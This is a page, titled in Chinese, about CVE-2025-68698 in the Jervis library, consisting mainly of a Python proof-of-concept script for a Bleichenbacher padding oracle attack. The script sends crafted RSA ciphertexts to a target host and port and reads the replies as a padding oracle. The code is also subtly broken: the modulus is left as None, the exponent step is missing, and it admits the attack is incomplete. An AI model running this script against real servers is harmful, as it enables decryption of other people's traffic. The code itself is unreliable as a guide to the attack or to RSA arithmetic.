CVE-2025-68698 Jervis库Bleichenbacher填充oracle漏洞

# CVE-2025-68698 Bleichenbacher Attack PoC # Target: Jervis library < 2.2 with PKCS1Encoding # This PoC demonstrates the Bleichenbacher padding oracle attack import socket import struct import time from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 from Crypto.Signature import PKCS1_v1_5 as PKCS1_Sig from Crypto.Random import get_random_bytes def rsa_integer_to_bytes(n, length): """Convert RSA integer to bytes""" return n.to_bytes(length, byteorder='big') def rsa_bytes_to_integer(data): """Convert bytes to RSA integer""" return int.from_bytes(data, byteorder='big') def create_ciphertext_variant(s, n, e, modulus_len): """Create a variant of the ciphertext for oracle query""" # s should be a random integer between 2 and n-1 s_int = rsa_bytes_to_integer(s) # c' = s^e * c mod n c_variant = (s_int * rsa_bytes_to_integer(encrypted_data)) % n return rsa_integer_to_bytes(c_variant, modulus_len) def query_oracle(variant_ciphertext, target_host, target_port): """Query the padding oracle to check if decryption succeeded""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(variant_ciphertext) response = sock.recv(1024) sock.close() # Oracle returns different responses for valid/invalid padding if b'padding error' in response or b'invalid' in response.lower(): return False # Invalid padding elif b'success' in response or b'OK' in response: return True # Valid padding else: return None # Unknown response except Exception as e: print(f"Oracle query error: {e}") return None def bleichenbacher_attack(encrypted_data, target_host, target_port, modulus_len=256): """ Bleichenbacher padding oracle attack implementation """ print("[*] Starting Bleichenbacher attack on Jervis PKCS1Encoding...") print(f"[*] Target: {target_host}:{target_port}") print(f"[*] Ciphertext length: {len(encrypted_data)} bytes") # Initialize n = None # RSA modulus e = 65537 # Public exponent # Step 1: Find a valid ciphertext through randomization print("[*] Step 1: Finding valid ciphertext through randomization...") s = get_random_bytes(modulus_len - 1) s_int = rsa_bytes_to_integer(s) # Step 2: Bleichenbacher's adaptive attack # This is a simplified version - full implementation requires # multiple iterations with M set manipulation print("[*] Step 2: Performing Bleichenbacher attack iterations...") iterations = 0 max_iterations = 10000 while iterations < max_iterations: # Generate random s value s = get_random_bytes(modulus_len - 1) variant_ct = create_ciphertext_variant(s, n, e, modulus_len) # Query oracle result = query_oracle(variant_ct, target_host, target_port) if result == True: print(f"[!] Found valid padding with s={s.hex()}") # Continue with the attack... break iterations += 1 if iterations % 100 == 0: print(f"[*] Progress: {iterations} queries sent...") print(f"[*] Attack completed after {iterations} iterations") print("[*] Note: Full decryption requires complete oracle implementation") return None # Return decrypted data if successful if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python bleichenbacher_poc.py <target_host> <target_port> [ciphertext_file]") print("Example: python bleichenbacher_poc.py example.com 8443 encrypted_data.bin") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) # Load ciphertext if provided encrypted_data = b'\x00\x02' + b'\x00' * (256 - 2 - 32) + get_random_bytes(32) if len(sys.argv) >= 4: with open(sys.argv[3], 'rb') as f: encrypted_data = f.read() result = bleichenbacher_attack(encrypted_data, target_host, target_port) if result: print(f"[+] Decrypted: {result}") else: print("[-] Attack failed or incomplete")